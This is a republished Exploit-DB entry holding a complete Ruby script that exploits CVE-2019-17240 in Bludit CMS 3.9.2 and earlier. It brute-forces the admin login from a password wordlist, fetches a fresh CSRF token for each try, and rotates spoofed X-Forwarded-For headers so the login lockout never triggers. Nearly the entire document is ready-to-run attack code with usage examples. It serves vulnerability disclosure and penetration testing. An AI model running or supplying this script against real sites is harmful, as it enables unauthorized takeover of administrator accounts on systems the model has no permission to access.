Bludit 3.9.2 – Authentication Bruteforce Mitigation Bypass

  • 作者: Alexandre ZANNI
    日期: 2020-08-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48746/
  • #!/usr/bin/env ruby
    ## Title: Bludit3.9.2 - Authentication Bruteforce Mitigation Bypass
    ## Author: noraj (Alexandre ZANNI)
    ## Author website: https://pwn.by/noraj/
    ## Date: 2020-08-16
    ## Vendor Homepage: https://www.bludit.com/
    ## Software Link: https://github.com/bludit/bludit/archive/3.9.2.tar.gz
    ## Version: <= 3.9.2
    ## Tested on: Bludit Version 3.9.2
    
    # Vulnerability
    ## Discoverer: Rastating
    ## Discoverer website: https://rastating.github.io/
    ## CVE: CVE-2019-17240
    ## CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2019-17240
    ## References: https://rastating.github.io/bludit-brute-force-mitigation-bypass/
    ## Patch: https://github.com/bludit/bludit/pull/1090
    
    require 'httpclient'
    require 'docopt'
    
    # dirty workaround to remove this warning:
    # Cookie#domain returns dot-less domain name now. Use Cookie#dot_domain if you need "." at the beginning.
    # see https://github.com/nahi/httpclient/issues/252
    class WebAgent
    class Cookie < HTTP::Cookie
    def domain
    self.original_domain
    end
    end
    end
    
    def get_csrf(client, login_url)
    res = client.get(login_url)
    csrf_token = /input.+?name="tokenCSRF".+?value="(.+?)"/.match(res.body).captures[0]
    end
    
    def auth_ok?(res)
    HTTP::Status.redirect?(res.code) &&
    %r{/admin/dashboard}.match?(res.headers['Location'])
    end
    
    def bruteforce_auth(client, host, username, wordlist)
    login_url = host + '/admin/login'
    File.foreach(wordlist).with_index do |password, i|
    password = password.chomp
    csrf_token = get_csrf(client, login_url)
    headers = {
    'X-Forwarded-For' => "#{i}-#{password[..4]}",
    }
    data = {
    'tokenCSRF' => csrf_token,
    'username' => username,
    'password' => password,
    }
    puts "[*] Trying password: #{password}"
    auth_res = client.post(login_url, data, headers)
    if auth_ok?(auth_res)
    puts "\n[+] Password found: #{password}"
    break
    end
    end
    end
    
    doc = <<~DOCOPT
    Bludit <= 3.9.2 - Authentication Bruteforce Mitigation Bypass
    
    Usage:
    #{__FILE__} -r <url> -u <username> -w <path> [--debug]
    #{__FILE__} -H | --help
    
    Options:
    -r <url>, --root-url <url>Root URL (base path) including HTTP scheme, port and root folder
    -u <username>, --user <username>Username of the admin
    -w <path>, --wordlist <path>Path to the wordlist file
    --debug Display arguments
    -H, --helpShow this screen
    
    Examples:
    #{__FILE__} -r http://example.org -u admin -w myWordlist.txt
    #{__FILE__} -r https://example.org:8443/bludit -u john -w /usr/share/wordlists/password/rockyou.txt
    DOCOPT
    
    begin
    args = Docopt.docopt(doc)
    pp args if args['--debug']
    
    clnt = HTTPClient.new
    bruteforce_auth(clnt, args['--root-url'], args['--user'], args['--wordlist'])
    rescue Docopt::Exit => e
    puts e.message
    end